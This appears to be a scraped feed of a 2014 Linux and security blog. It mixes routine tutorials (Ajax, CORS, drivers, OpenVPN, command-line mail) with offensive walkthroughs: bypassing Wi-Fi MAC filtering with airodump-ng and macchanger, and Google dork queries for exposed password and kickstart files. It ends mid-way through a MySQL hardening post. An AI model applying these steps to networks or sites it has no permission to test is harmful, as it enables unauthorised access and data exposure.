Sending a Deauth attack may not work sometimes. It depends on so many factors. But in almost all cases it will work.
This article is for education purposes only. It is not recommended to use these attacks illegally over public networks.

[How to] Enabling ssh connectivity in Backtrack/Kali Linux

Sun, 28 Sep 2014 00:00:00 -0700

Backtrack/Kali is the most advanced Linux based penetration testing distribution till date. It contains pre-installed tools from Information gathering to advanced wireless attacks and Forensics. We are launching a series of tutorials that will start from the basics and will cover the most advanced attacks with Backtrack/Kali.

Let us first enable ssh connectivity on Backtrack/Kali. By default, ssh connectivity will not be enabled. We have to enable it manually. Now lets us see how can we do that. Before making our system able to receive ssh, we should first create/Generate ssh private and public key. Generating these keys are very simple. Just use the command

sshd -generate

And the Backtrack/Kali will automatically create it for you. After creating the keys, we have to tell the backtrack/Kali to accept ssh connections. To do that, use either one of the following command:

/etc/init.d/ssh start or start ssh

(It is always better to use the first command as I have heard people complaining that the second command is simply not working.) Now you have successfully taught Backtrack/Kali to accept ssh connection. But still there is a problem. Once you reboot the system, it will forget these settings. In other words, you are enabling ssh temporarily and once system reboots, it will forget all the settings.

So what should we do so that it will remember these settings forever ? Use the following command to update and permanently store the ssh settings :

update-rc.d -f ssh defaults

So you will be wondering what this command will do? Basically what it does is, it will over write the default ssh settings to the new one you just did. So this will ensure that your the changes will be permanent and will not perish if system reboots.

Note:

While enabling ssh, you should make sure that your system users has really strong alpha - numeric passwords especially root user. It is because an attacker can do a brute force attack over ssh and if your password is not strong enough, he can break it and can cause system damage or theft of your precious data.

[How to] Bypass Mac address filtering using Backtrack/Kali Linux

Sun, 28 Sep 2014 00:00:00 -0700

In the last tutorial, we saw How can we find out the hidden SSID’s using Backtrack/Kali linux. After we found out the SSID we were also able to connect to the network. But what if the network is using a Mac address filter to block un-Authorised access? Mac Address Filtering is used commonly now-a-days in schools, colleges, offices etc to prevent externals users from using it. But is it a highly secured method? The answer is no. It is very easy to bypass a Mac Address filter.

Here also, we use airmon-ng and airodump-ng to bypass the filter. Lets start the tutorial:First launch the airmon-ng to start the monitoring mode. To start monitoring give the following command:

sudo airmon-ng start wlan0

This will start the monitoring mode. Now we want to see the monitoring on our terminal so that we can analyze the network according to the results. To do that, give the command

sudo airodump-ng mon0

Now that will list all the SSID’s available. It will also list the corresponding bssid in the beginning. Now what we have to do is, list out all the info about the SSID that we want to connect in to which is filtering the macs. So use this command :

sudo airodump-ng -c 4 -a –bssid 00:00:00:00:00:00 mon0

Here we use “-c 4” to specify that the SSID we are looking for is on channel number 4 and we use “-a” to specify that we need the details of only the clients that have connected to that network. This will also share the mac address of users who is currently using the network. airodump-ng will display the mac address of all the people connected to it. So now only one task remaining. We will change our mac address to one of the mac address that we obtain so that we can successfully connect to the network. In order to do that we will use macchanger.

Now, that mac address will be surely on the White list and that is the reason why he is using the network. In the following screenshot you can see a column called Station.

Now let us change it to one of the mac address in white list. but before doing that we have to stop the monitoring interfaces, to do that give the command :

sudo airmon-ng stop wlan0

After that use macchanger to spoof the mac address:

macchanger -m xx:Xx:Xx:xx:xx:xx wlan0

Replace the following command with the new mac address with which you need to spoof and thats it, your mac address is spoofed. Now you can successfully connect to the SSID without any problems.

NOTE:

Sometimes it may cause a problem that 2 PC’s with the same mac address connect to the same network. There is no way but to take that risk if you really want to connect to the network.

IG: How attackers find out your kid's DNA using Google ?

Fri, 19 Sep 2014 06:01:40 -0700

Information Gathering is the first step involved in penetration testing and Google Dorking is one of the most easiest way you can find several useful informations (even vulnerabilities, password exposures, etc..) about the target site. Some people believe that “Google Dorking is stupid and won’t revel anything useful. Since Google search is so common, companies will make sure they are not vulnerable to Google Dorking”. But this is absolutely wrong. History has shown us that Google can expose a lot more information that you can imagine. Telstra customer database exposure via Google was a very famous news back in 2011 when whole of their private database information including Usernames, Passwords, customer account number etc.. were revealed.

So lets us analyse how this happened: Google Dorking means that you are using Google’s advanced search to to find out all the information regarding your target. If your target is not using a valid and correct robots.txt, then things will become much easier. We will deal with robots.txt and Google dorking protection mechanisms at the end of the article. Let us see some ways to search Google so that we can get all txt files uploaded to a particular site:

1) intext:admin intext:password filetype:txt site:target.com

2) filetype:bak or filetype:mdb or filetype:sql or filetype:csv or filetype:plist or filetype:txt or filetype:url or filetype:user or filetype:vcs or filetype:pdb site:target.com

The first one searches the entire database of Google for any file txt files which contain the string “password” in it. If Google has indexed any txt file like above from your target site, chances are very high that it might contain sensitive information which shouldn’t be shared with 3rd party sites. The second one searches for different types of file types including sql, txt, bak etc.. which are the most commonly used file formats for saving sensitive information. Let us see a more powerful dorking technique:

RedHat linux (used on most of the linux servers) has an option called kickstart for unattended installations, where all the details for OS installations are placed and saved in a file with cfg extension and read from the file during installations. But this file might not be deleted from the webserver once the installation is complete and might be indexed by Google. A peculiarity of this file is that it contains rootpw (root password) which might not be changed after installation is complete.

# Kickstart filetype:cfg

This will search Google for all the sites which has files with .cfg as extension and starts with the keyword Kickstart. Similarly there are so many deadly payloads which you can use to recon a target website. A list of different Google search operators can be seen on their support (go through this to understand different search operators). Exploit DB Google Hacking database is very famous and you can use it to understand several different ways to do the same.

But there is a defect with this approach while pen-testing. Even through Google dorking is a good method to find out sensitive information leakage, manually trying out different search for a given list of targets is very time consuming. So in order to do this, we can use automation tools which are very good at finding sensitive information via Google. Let us see some tools which can automate the tasks for us:

1) OWTF - Passive Online Scanner:

If you wanna try out basic Google Dorking about your target, OWTF online scanner is the best way. You can simply go to Passive online scanner and enter your target URL. Click on the “target” option in the next page and you can see several results. Click on OWASP-IG-002 Search engine discovery/reconnaissance Google Hacking, Metadata > Passive … You can see online resources which contains several Google advanced search, which you can simply click and see the result.

2) Google Hacking Diggity Project:

Google Hacking Diggity Project is a very active development project which is dedicated for finding out vulnerable systems and sensitive data in corporate networks by leveraging search engines like Google and Bing. This is considered to be number one tool in finding out vulnerabilities using Google Dorks.

3) SiteDigger:

SiteDigger is a powerful tool form McAfee which make use of Google cache to find out vulnerabilities, security configurations and protected file exposure. It even supports scanning via proxy or TOR.

Preventing this is not very difficult but a bit tricky. The best way to ensure good security is to implement an Authorization mechanism before accessing the sensitive information. By this way, we need not specify the sensitive information explicitly on robots.txt and even if Google try to index the same, it cannot see what’s inside. So Authorization mechanism is the best way to ensure good security against Google Dorking.

If creating an Authorization mechanism is absolutely not possible, then try to give long random names to the sensitive files and also try not to reference the file form any locations or other files. By that way, it remains hidden and will be very difficult to exploit. But this doesnot provide a bullet proof security. It could be still prone to attacks.

NOTE:

Sometimes people will save all the confidential files under a common folder like “hidden” and then will explicitly specify in the robots.txt to disallow indexing. This is a very bad way and doesn’t ensure full security. Even though by this way, you can restrict search engines from indexing the folder, robots.txt is a very common file and the first thing an attacker will do as a recon is to analyse the robots.txt of the target site. On the first look itself, attacker can understand there is something valuable in the directory “/hidden” and that could be the reason why the webmaster specified it explicitly in the robots.txt.

Ajax: Parsing and Reading JSON files

Mon, 15 Sep 2014 03:26:58 -0700

Recently we looked into how can we read an XML file using Ajax. Now let us see how to do the same with JSON files. Actually Ajax can read any text file. The trick is to know how to parse the files in such a way that we can extract out information we need easily. JSON is a widely used data interchange format. It is very easy for the browsers to parse and generate and is based on JavaScript programming language. Now let us look into how can we parse a JSON file using Ajax:

A sample JSON file will be similar to something like this:

``{“employees”:[ {“firstName”:”John”, “lastName”:”Doe”}, {“firstName”:”Anna”, “lastName”:”Smith”}, {“firstName”:”Peter”, “lastName”:”Jones”} ]}

This could be a sample JSON file. Now let us see how can we parse and read the contents from JSON file and print only the content that we wants. In the modern day browsers, parsing JSON is very simple. Modern browsers supports parse command which can be used to Parse a JSON file and save it to a variable. Let us see how can we do this:

    var request = new XMLHttpRequest();
    request.open('GET', 'info.json');
    request.onreadystatechange = function() {
      if((request.readyState===4) && (request.status===200))
      {
        var items = JSON.parse(request.responseText);
      }
    }
    request.send();

Parsing JSON is as simple as above. All most all modern browsers will support JSON.parse method so parsing JSON is much simpler now a days.. Now let us see how we can print the result in a list:

    var request = new XMLHttpRequest();
    request.open('GET', 'info.json');
    request.onreadystatechange = function() {
      if((request.readyState===4) && (request.status===200))
      {
        var items = JSON.parse(request.responseText);
        var out = '<ul>';
        for (var key in items)
        {
          out += '<li>' +items[key].name + '</li>';
        }
      out += '</ul>';
      document.getElementByID('id').innerHTML = out;
      }
    }
    request.send();

This will add the parsed JSON elements to the webpage. Even though Ajax was originally designed to work with XML files, it can work with JSON and other formats as well and sometimes the process is simpler than processing XML. As you can see here, parsing and reading JSON was much simpler than XML.

Ajax: Parsing and Reading XML files

Sun, 14 Sep 2014 10:12:34 -0700

Ajax was originally created to read data stored in the XML format. But it evolved so much so that you can read even JSON and much more with it. Before understanding how to parse an XML file, you should understand how XMLHttpRequest() works. If you don’t know much about it, read our article: Everything you should know about XMLHttpRequest(). So let us see how can we parse an XML file using Ajax. Just like responseText, we have something else called responseXML. Let us see a sample code to understand how it works:

Consider we have a very simple XML file like this:

<!--  Edited by XMLSpy  -->
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

The above code is taken from w3schools just for the sake of an example. So this is a very simple XML file. Consider we need to write some information, say from tag, from the XML document to the webpage. How can we do that ? Lets see the code to do the same:

    var request = new XMLHttpRequest();
    request.open('GET', 'info.xml');
    request.onreadystatechange = function() {
      if((request.readyState===4) && (request.status===200))
      {
        var from = request.responseXML.getElementsByTagName('from')[0].firstChild.nodeValue;
        document.write(from);
        console.log(request);
      }
    }
    request.send();

Now let us see how the above code works (make sure you read our post about XMLHttpRequest() if you don’t understand other parts of the code). As we can see, when the readyState = 4 and request status = 200, it enters the if condition and assign a new value to the JavaScript variable from. In this case, the value of from will be “Jani”. So how did that happen? The request.responseXML will return the entire XML document and getElementsByTagName is a JavaScript DOM method to get all elements which belongs to a particular tag name. Here the tagname is ‘from’. The getElementsByTagName will return a list of all elements with the specified tag name.

In order to choose the first element, we append [0] to it. This will return the entire from tag to the variable from and now if we print the variable, the value will be Jani. But we don’t want the from tags to get included in the variable and need only the name. The firstChild is to select the first value from a given list. To get only the text of the particular node, we include nodeValue. Now this will write only the name “Jani” to the JavaScript variable from and won’t include quotes or tags.

What if there are more than one names and you need to print a list of names to the page ? The common idea is to write the contents inside the for loop. So the code can be modified as:

    var request = new XMLHttpRequest();
    request.open('GET', 'info.xml');
    request.onreadystatechange = function() {
      if((request.readyState===4) && (request.status===200))
      {
        var items = request.responseXML.getElementsByTagName('tag-id');
        var out = '<ul>';
        for (var i = 0; i < items.length; i++)
        {
          out+= '<li>' + items[i].firstChild.nodeValue + '</li>';
        }
      out += '</ul>';
      document.getElementById("id").innerHTML = out;
     }
    }
    request.send();

The above code will iterate through the entire list returned by getElementByTagName() and create a new unordered list. We add each element as a list item and append it to a variable named ‘out’. Then we send the variable back to HTML page and replace a particular div id’s innerHTML with the new list we created.

Ajax: Everything you should know about XMLHttpRequest()

Sat, 13 Sep 2014 09:17:34 -0700

Ajax (Asynchronous Javascript and XML) is web development technique for creating better, faster, and more interactive web applications using which they can send and retrieve data from the server asynchronously (in the background) without interfering with the display and behavior of the existing page.

So what does this really mean? Consider you have a webpage in which you have some information in the sidebar which needs to be loaded when user clicks or hovers above it. In a normal case, if new information has to be added to the web page, it must give another request to the server and the entire web page should get reloaded. That consumes a lot of time/bandwidth. But if we use Ajax, the browser sends a request to the server but only necessary information is send back by the server and is displayed in the web page without getting reloaded.

So in practical how does this work ? This is being done by using XMLHttpRequest() object. Let us look into a sample code to understand how XMLHttpRequest() works generally.

  
    var request = new XMLHttpRequest();
    request.open('GET', 'info.txt', false);
    request.send();
    console.log(request);

This is a very simple XMLHttpRequest(). What it does is, it creates an object named request. Then by using the object, we call the function request.open() with the 3 must have arguments namely:

1) The type of HTTP request (GET/POST)

2) The content to be retrieved

3) Specifying whether to use synchronous or asynchronous request.

In the above code, I used synchronous method to access data (we will get into synchronous and asynchronous types later in this post). In order to see how the code works, I added an extra line to the code like this: console.log(request); . What it does is that, it dumps the information about the request into the browser console window and we can see if there is any issues with the request we made (makes it easier for debugging). A successful request console log looks something like this:

From this you can see that when a request becomes successful when readyState =4 and status = 200. The responseText property always stores the test of the response. So in order to write the response to the webpage, we can modify the above code like this:

    var request = new XMLHttpRequest();
    request.open('GET', 'info.txt', false);
    request.send();
    console.log(request);
    if(request.status === 200)
    {
       document.writeln(request.responseText);
    }

This will write the responseText into the webpage. Using document.writeln is not recommended to write any of the responses to webpages as it can get exploited to Cross Domain XSS. But here, let us use the method and in future tutorials, we will use more advanced techniques. Now let us see what is the difference between synchronous and asynchronous requests.

In the code above, we give the 3rd parameter of open() function as ‘false’ to make it synchronous request. While doing a synchronous request, browser will wait until it receives the response or the function completes. But this is not necessarily a good option. let us see why. Consider you need to send around 100 requests like this:

    for( var i = 0; i < 100; i++ )
    {
      var request = new XMLHttpRequest();
      request.open('GET', 'info.txt', false);
      request.send();
      console.log(request);
      if(request.status === 200)
      {
         document.writeln(request.responseText);
      }
    }

Try executing the above code. You will see that browser will take sometime before showing the output. This happens because browser is waiting to show the output once it completes the execution. This will take considerable amount of time to display if the requests are larger than 100. So a better way is to write asynchronous requests.

Ajax (Asynchronous Javascript and XML) really means that we should be using an Asynchronous call :P .. So let us modify the above code so that we change it from synchronous to asynchronous request.

    var request = new XMLHttpRequest();
    request.open('GET', 'info.txt');
    request.onreadystatechange = function() {
      if((request.readyState===4) && (request.status===200))
      {
        console.log(request);
        document.writeln(request.responseText);
      }
    }
    request.send();

When the readyState = 4 and status = 200 (which means the call was success and response is ready) we can simply write the responseText to the web page. Here it is not mandatory to specify true as a 3rd parameter in open() function because by default, browsers will use asynchronous method which need not be specified explicitly. If you want, you can simply add true as a 3rd parameter, even then script will work fine.

NOTE:

While using XMLHttpRequest(), request should be made only to the same domain from which the web page gets loaded. The browsers will strictly follow same origin policy. If you want do a Cross Domain Ajax call, there should be some modifications for the above code. Read more about Cross Origin Resource Sharing: CORS: How cross domain call works in browsers?

CORS: How cross domain call works in browsers?

Sat, 06 Sep 2014 23:46:18 -0700

Cross Origin Resource Sharing (CORS) is one of the most useful features of HTML5. CORS is a mechanism that allows many resources (e.g., fonts, JavaScript, etc.) on a web page to be requested from another domain outside of the domain where the resource originated from. In short, if you want to use a JavaScript code inside your webpage which is already being saved as a .js file in another domain, instead of copying the code to the webpage again, you can do a Cross Domain call to the JavaScript file and can make use of it in the webpage. By default, such “cross domain” calls are not allowed by the browsers because of same origin security policy. We can achieve this with the help of XMLHttpRequest.

XMLHttpRequest is an API available to scripting languages like JavaScript which can be used for cross domain calls. It works in a simply way just like browsers, it sends an HTTP request to a web server and loads the results back to the webpage from which we called. While sending the request, the browser add an HTTP header which states the origin from which the request has been generated. The web server will receive this request and checks if the originated domain is allowed to access the requested resource. Let us see an example where I host a script on a site which intakes a url/domain name as a parameter and returns its IP address:

    
    var url = "http://examplesite.com/ip.php?domain=" + encodeURI(q);
    var http = new XMLHttpRequest();
    var ip = ''
    http.open("GET", url, true);
    http.responseType = "text";
    http.onreadystatechange = function() {
        if (http.readyState == 4 && http.status == 200) {
            ip = http.responseText
        }
    }
    http.send(null);

Let us see what the above script do. Let us assume that we have a JavaScript variable named “q” which contains the URL of which we need to get the IP address. So first we are creating a new variable named url in which we are creating the absolute path to where we host our ip.php which returns the corresponding IP address. The ip.php file looks like this:

    <?php
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Methods: GET');
    foreach ($_GET as $key)
        echo gethostbyname($key);
    ?>

Assume that the ip.php file is hosted in http://examplesite.com/ip.php. As you can see, ip.php takes a variable as an argument. So while creating an http request, we are sending the URL (of which we need to get ip) to the ip.php using a GET request. If you pass google.com as a URL, the request goes like this: http://examplesite.com/ip.php?domain=google.com. Now, lets get back to the main script. The statement var http = new XMLHttpRequest() will initiate a new request and store it in a variable named http.

The onreadystatechange() stores a function (or the name of a function) to be called automatically, each time the readyState property changes. When the readyState is equal to 4 and status is 200, the cross domain call request gets back its response and it can be stored into a variable.

The readyState equals to 4 means that the request is successfully completed (the ip.php function is correctly executed) and the response is ready.

While writing the ip.php, I included 2 statements header('Access-Control-Allow-Origin: *'); which is very necessary for this script to work. Here Access-Control_Allow-Origin: * means that any domain can make a cross domain call (althrough this should don’t be the case with real world applications) to this file. If you want to restrict it to limited number of sites, you can replace your domain name in the place of * . If this header is missing, you cannot make a cross domain call because by default, it will block all requests generating from external domain according to the same origin security policy.

Javascript: Splitting a URL into parts using Regex

Sat, 06 Sep 2014 23:24:24 -0700

JavaScript (js) is a lightweight, interpreted, object-oriented language with first-class functions, most known as the scripting language for Web pages. Most of the web application developers, designers etc.. use js on a daily basis. Recently I got selected for Google Summer of code 2014, and a part of my project was related to JavaScript where I had to make use of JavaScript for splitting a URL into corresponding parts. When I googled this, I came across many tutorials but later on I set down to write a function making use of the powerful JavaScript Regex (thanks to my friend, Arjun, who helped me in writing this). Here is the code that I wrote:

 
    function subDomain(url) {
        url = url.replace(new RegExp(/^s+/), "");
        url = url.replace(new RegExp(/s+$/), "");
        url = url.replace(new RegExp(/\/g), "/");
        url = url.replace(new RegExp(/^http://|^https://|^ftp:///i), "");
        url = url.replace(new RegExp(/^www./i), "");
        url = url.replace(new RegExp(//(.*)/), "");
        if (url.match(new RegExp(/.[a-z]{2,3}.[a-z]{2}$/i))) {
            url = url.replace(new RegExp(/.[a-z]{2,3}.[a-z]{2}$/i), "");
        } else if (url.match(new RegExp(/.[a-z]{2,4}$/i))) {
            url = url.replace(new RegExp(/.[a-z]{2,4}$/i), "");
        }
        var subDomain = (url.match(new RegExp(/./g))) ? true : false;
        return (subDomain);
    }
    function parseUrl(url) {
        var parser = document.createElement('a');
        parser.href = url;
        var datas = [parser.hostname, parser.port, parser.pathname];
        return (datas);
    }
    function printer(test_var) {
        var k = "";
        k = test_var.toString();
        var k1 = addhttp(k);
        q = k1[0];
        scheme = k1[2];
        k = k1[1];
        k = parseUrl(k);
        return k;
    }
    function addhttp(url) {
        var k3 = ""
        if (url.match(/http:///)) {
            url = url.substring(7);
            k3 = "http://"
        }
        if (url.match(/https:///)) {
            url = url.substring(8);
            k3 = "https://"
        }
        var k = "";
        k = url;
        if (url.match(/^www./)) {
            url = url.substring(4);
        }
        if (!/^(f|ht)tps?:///i.test(url)) {
            url = "http://" + url;
        }
        var k2 = [k, url, k3]
        return k2;
    }
    //var q = 'https://demo.testfire.net:1234/hey'
    //var output = document.getElementById('output');
    var temp = "";
    var hosts = "";
    var port = "";
    var scheme = "";
    var path = "";
    var sub = "";
    var datas = printer(q);
    sub = datas[0];
    port = datas[1];
    path = datas[2];
    if (!subDomain(sub)) {
        hosts = sub;
    } else {
        hosts = sub.split(".")[1] + "." + sub.split(".")[2];
    };
    if (!port) {
        port = 80;
    }
    if (!scheme) {
        scheme = 'http://';
    }

One obvious question that comes to everyone’s mind is that, what the hell does this code do ?. I can explain that. Even though this code looks very huge, its functionality is very simple. Here I’m assuming that you have the URL to split it in a variable named “q”. If so, the URL is passed as an argument to the function printer and the splitting occurs. After the splitting, 5 new JavaScript variables are created namely scheme, host, port, path **and **sub.

For example, consider that the URL saved in the variable q is “http:/security.securethelock.com:443/hey”. After the splitting, the 5 new variables will be created with the following values in it:

scheme: http://

host: securethelock.com

port: 443

path: hey

sub: security.securethelock.com

If port is not specified, the default value, 80, will be stored. If q is a main domain (and not a subdomain) like “http://www.securethelock.com”, sub = host = securethelock.com . If path is not specified, the corresponding variable will be empty.

(How to) Configuring OpenVPN in Linux

Wed, 09 Jul 2014 00:00:00 -0700

OpenVPN is a open source application that enables you to configure Virtual Private Network (VPN). For those who doesn’t know about OpenVPN, it is used to create secure P2P connections and remote access facilities. So it ensures that the users are safe from hawks who try to sniff or eavesdrop your network.

Using OpenVPN is very simple. In most of the distributions it is installed by default. If it is not, you can download from the repository by doing a simple,

sudo apt-get install openvpn

After you have installed OpenVPN, you need VPN servers to be configured to use with it. Generally it is not free. But there are some sites which provide it for free (Yeah,very good people :D). There are many sites out there. But I found better than others (the reason being no signing up/registering, comparatively faster than other VPN providers).

So just go to download any of the servers available. Next step is to extract the file and save in some location,

tar -xvf filename

Now,open your terminal (Remember,you need to be a super user to perform this actions. Else you will get errors while starting your connection) and don’t forget to switch to the folder which has the extracted files. Let’s here take an example of OpenVPN-Euro1 server. Next step will be to, configure it:

openvpn --config vpnbook-euro1-tcp443.ovpn

Use tcp443 always. In case it doesn’t connect try using the udp. After executing the command, you would be prompted for authentication. The username is vpnbook and you can find the password. VPNBook often changes the password to make sure that this is used by people only who are active (The passwords change once in two weeks if I am not wrong). After this you would get a line stating,

Sequence Initialized.

That’s it you are done. If you face any difficulties while configuring, don’t hesitate to comment down. We are happy to help.. :)

Installing Skype in Ubuntu 14.04 64-bit (Trusty Tahr)

Wed, 30 Apr 2014 22:16:47 -0700

Skype is a freemium instant messaging service which is currently developed by the Microsoft team. Microsoft has acquired Skype two years back for a whooping $8.5 Million and ever since its update to Linux has been floppy. Skype is still used by Millions of people around the world and luckily Microsoft didn’t discontinue the support of Skype for Linux.

But a major problem is that Skype is released only for a 32-bit architecture and not for a 64 bit. So installing Sype on a 64-bit architecture takes a little more effort than the other. If you use a 32-bit Ubuntu, you can simply issue this command to download it:

sudo apt-get install skype

If you use a 64-bit Ubuntu architecture, you have to add 32-bit architecture support and then update your system to install skype:

sudo dpkg --add-architecture i386

sudo add-apt-repository "deb http://archive.canonical.com/ $(lsb_release -sc) partner"

sudo apt-get update && sudo apt-get install skype

The first command is to enable Multiarch support in Ubuntu for 64-bit users. Multiarch as the name suggest is enabled so that both the architecture will be supported by Ubuntu. Three years back, Skype has been added to canonical repository. So we have to manually add this repo to our repository. Then you can install Skype with the last command.

Installing and Configuring AMD/ATI drivers in Ubuntu 14.04 (Trusty Tahr)

Sun, 20 Apr 2014 03:08:05 -0700

Ubuntu fans will be very excited with a more stable release of Ubuntu 14.04 ( trusty Tahr) which is much better and stable than previous Ubuntu releases especially 13.xx series. But as usual, configuring graphics card is always a headache for any people with a dedicated Graphics card other than the normal Intel card. The situation becomes worse for people with AMD Processors and Dual graphics (Hybrid graphics) because overheating will happen as a result of un-configured Graphics cards. Also, configuring isn’t an easy. As always, you will always come up with dependency clashes, driver issues with desktop managers like gdm, lightdm etc.. So I will share with you my experience on how I installed and configured graphics drivers successfully on my AMD Dual graphics enabled notebook.

The recommended method in AMD site won’t work here because installing directly by executing the the catalyst.run file will create dependency clash with the desktop manager and will result in failing the loading of desktop manager after the reboot.

Easy Method: (might not work sometimes)

You can take Additional drivers option that comes along with Software & updates in Ubuntu which will show you the available drivers (both proprietary and open source) and you can choose any one of them. If you need to have more control on your graphics card, it is recommended to go for the Proprietary install.

Manual Method:

Sometimes, installing through additional drivers will fail. If thats the case, we have to do this manually via command line (like I did because for me, Additional driver installation failed):

Remove/purge current fglrx and fglrx-amdcccle. We have to reconfigure and install this again for things to work. To do that, follow the commands:

     
    sudo apt-get remove --purge fglrx fglrx-amdcccle
    sudo apt-get remove --purge fglrx-updates fglrx-amdcccle-updates

Now reboot the system and login back again.
Install the Linux generic headers (It comes along with 14.04 but one of my friends had to do this before continuing or else he was getting errors. So its better to try installing this):

 
    sudo apt-get install linux-headers-generic

Now lets install back the drivers

 
    sudo apt-get install fglrx fglrx-amdcccle

Once the installation is complete, make sure you give this command before rebooting

 
    sudo aticonfig --initial

If you are using AMD switchable graphics (just like I do) instead of the above command, give this

     
    sudo aticonfig --adapter=all --initial

Reboot once again and hurrayyyy.. Once you login back, you can configure your graphics card like you want. :D

Hope this method works for you. If you encounter any problems in between, do comment down and we are happy to help you.

(How to) Send an Email from Linux command line ?

Sun, 02 Feb 2014 00:00:00 -0800

Linux Command line is the most powerful tool that you can get in any Linux machine. We can monitor the on going process, delete/copy/make directories/files etc.. and much more. Today, I successfully configured my Linux to send an email to any person from command line ! Yes that’s right. A bit Geekish huh ? Well, after all, it is a feature of Linux Terminal. So Lets see how can we send an Email with Linux terminal :

1) First, we have to configure the mail so that we can send a message with a body and subject. For that, give the following command in Linux terminal :

sudo dpkg-reconfigure exim4-config

This will help us in Configuring the mail.

2) In the General type mail configuration choose the option as shown in the following screenshot

3) For all the other options , just click ok and go forward until you encounter something like this : Delivery method for local mail. There, choose the option **mbox format in /var/mail**.

4) The above 2 options are only the basic ones. You can read about rest of the options that is asked so that you can again customize the way you send the particular email. Now as the mail is configured, lets see how can we send it through the command line.

5) To send a mail, the command is just one line like this :

echo “ The body of the mail.” | mail -s “Subject of the mail” you@youremailid.com

Now if your body of the mail is very large, then you can save the body message in to a file and then you can send the contents of the file (and not the file itself as an attachment) with the following command :

mail -s "Subject goes here” you@youremailid.com < /home/user-name/bodymessege.log

6) You can also send BCC (Blind Carbon copy) of the same message to multiple email address. To do that, you can give the -b parameter :

echo “Body message” | mail -s “Subject goes here” you@yourmail.com -b anothermail@yourmail.com

Hope our readers like this post. If you have any problem in configuring this, do drop down a comment and we are happy to help.

[Fix] gdm3 doesn't start after installing ATI/AMD drivers in Debian !

Wed, 15 Jan 2014 10:26:09 -0800

Recently, I wrote an article on [How to] Install AMD/ATI drivers in Debian. There in the article, I have warned my readers, it better to install the drivers by the way I have explained there and not by downloading corresponding drivers from their site and Installing it. Why I told you because if you install by downloading the driver from their site, there is a good chance that your gdm3 crashes while rebooting your machine. Now what if it is already happened ? Now your gdm3 really crashed , what to do ? Re-installing gdm3 or installing another desktop manager like KDE or lightdm won’t work. Its because they also will have the same compatibility issue as before. So, if your gdm 3 already crashed, we have to Un-install the drivers and then reboot so that gdm3 will load again and then we have to re-install it in such a way thatt it won’t cause a problem with the display manager. Now follow the steps to recover gdm3 :

1) Reboot your machine again and from GRUB, choose the Debian recovery mode ( usually the 2nd option) and login to the command line as a root.

2) Now go to /usr/share . There you can see several folders. They will be a folder named some what like “AMD driver” or “ATI ….. “. If you see a folder related to AMD, that will be the one where we have our Uninstall.sh script. Now all we have to do is to run that script and reboot after it.

3) Your gdm3 will again start to work properly. To run the “Uninstall.sh”, do the following commands :

 
   #Moving to the directory
    
   cd /usr/share
    
   #Giving the Shell the executable permission
    
   sudo chmod 777 uninstall.sh
    
   #Executing the script
    
   sudo ./uninstall.sh

That’s it. Your gdm3 will again start to function properly from now. Now you can Install the Grpahics driver in the safe way so that it won’t be a mess again. You can read my article to learn more about installing drivers the easy way : [How to] Install AMD/ATI drivers in Debian ?

[How to] Install AMD/ATI drivers in Debian ?

Wed, 15 Jan 2014 10:19:03 -0800

After having a fresh Install of Linux on a new system, the next hardest thing to do is to configuring Graphics card. Especially if we have a dedicated Graphics card or may be two Graphics card in Cross-firing mode or SLI mode. I still remember the day when I installed Debian on my laptop for the first time, I didn’t knew how to configure the Graphics card. By default, the Graphics card was up and running in high performance mode. I have an HP gaming laptop with Cross-firing Graphics at that time. Soon after the Install. I saw my system heating up like it was put on a gas stove. Soon I saw my system lagging very much and after some time, it automatically shutdown. I was really wondering what could have happened ? When I again turned on the laptop, I saw a message saying “ Your system has been undergone Thermal Shutdown.” I was shocked logged back in to my Windows until the lap has been fully recovered. Later only I learned, How to configure Graphics cards, especially AMD/ATI. SO lets us see how to configure the Graphics card :

Before starting, I strongly recommend to follow the below method. Downloading and Installing AMD/ATI drivers from their site is not recommended but still you can give it a try if you want. Such Installation will most often have a clash with the** gdm3** causing it will refuse to start again after the installation.

Immediately after the installation, the first thing you should do is to configure your Graphics card or else you will face similar situation that I faced. If your ATI card is Radeon HD 7000, Radeon HD 6000 and Radeon HD 5000 series GPU, the follow the below tutorial :

1) Open /etc/apt/sources.list to add the ATI driver source to the source.lists. To do that , give the following command:

 
   nano /etc/apt/sources.list 
   
   #Add the following command to the end of the file
   
   # Debian 7 "Wheezy"
   deb http://http.debian.net/debian/ wheezy main contrib non-free

2) After adding the above commands, save the file and exit. Now enter the following commands one by one :

   sudo aptitude update
    
   sudo aptitude -r install linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,') fglrx-driver

3) Now restart the system. Your card will be configured automatically for the best results.

Now, If you have Radeon HD 4000, Radeon HD 3000 and Radeon HD 2000 series GPUs, do the following :

1) Add the following line to the /etc/apt/sources.list , :

  
   nano /etc/apt/sources.list
   
   add the following line to it : 
   
   # Backported packages for Debian 7 "Wheezy"
   deb http://http.debian.net/debian/ wheezy-backports main contrib non-free

2) Now launch a terminal and give the following commands one by one :

   sudo aptitude update
   
   #Install the Appropriate Linux headers
   sudo aptitude install linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,')
   
   sudo aptitude -r -t wheezy-backports install fglrx-legacy-driver

3) Restart your system and you will have the driver Installed with optimum conditions Auto configured. Hurrayy ! That’s it. Your AMD/ATI card is configured and is ready to go. :)

NOTE:

If your gdm3 is already crashed or not working properly, you follow the article: “[Fix] gdm3 doesn’t start after installing ATI/AMD drivers in Debian ! “ to fix it and then do this Tutorial.

12 steps for Hardening MySQL from Attackers !!

Thu, 09 Jan 2014 08:04:33 -0800

MySQL is a relational database management system, based on the Structured Query Language (SQL), which is designed to modify information in the database. It is very popular for its fast performance, high reliability, and ease of use. Relational databases are the common way of storing the increasing amount of information. The way of controlling and operating relational databases depends on TCP/IP, with all the advantages and disadvantages given naturally by using them.

The database systems are prone to many security risks like unauthorized activity, malware infections, data corruption or data loss, performance constraint etc. so these database systems and the programs and the functions within them should be secured.

**Hardening MySQL **

Securing and hardening database systems (primarily on Linux) using MySQL, as this software is widespread and commonly used. **

1) Securing the server:

The application server and the database server should be on different systems, as mostly attacks are possible if physical access is obtained. If they are on the same machine, then any service running on the that machine should be given the lowest permission which will still let the service to run.Remember to install Antivirus and Antispam software, configure firewall, harden the production server and services, disable unnecessary services.

2) Secure root account with strong password:

When MySQL is initially installed, default root user account is created, hackers often try to gain access of its permission. So change the root username and password,

To change the admin’s username, use the rename command in the MySQL console:

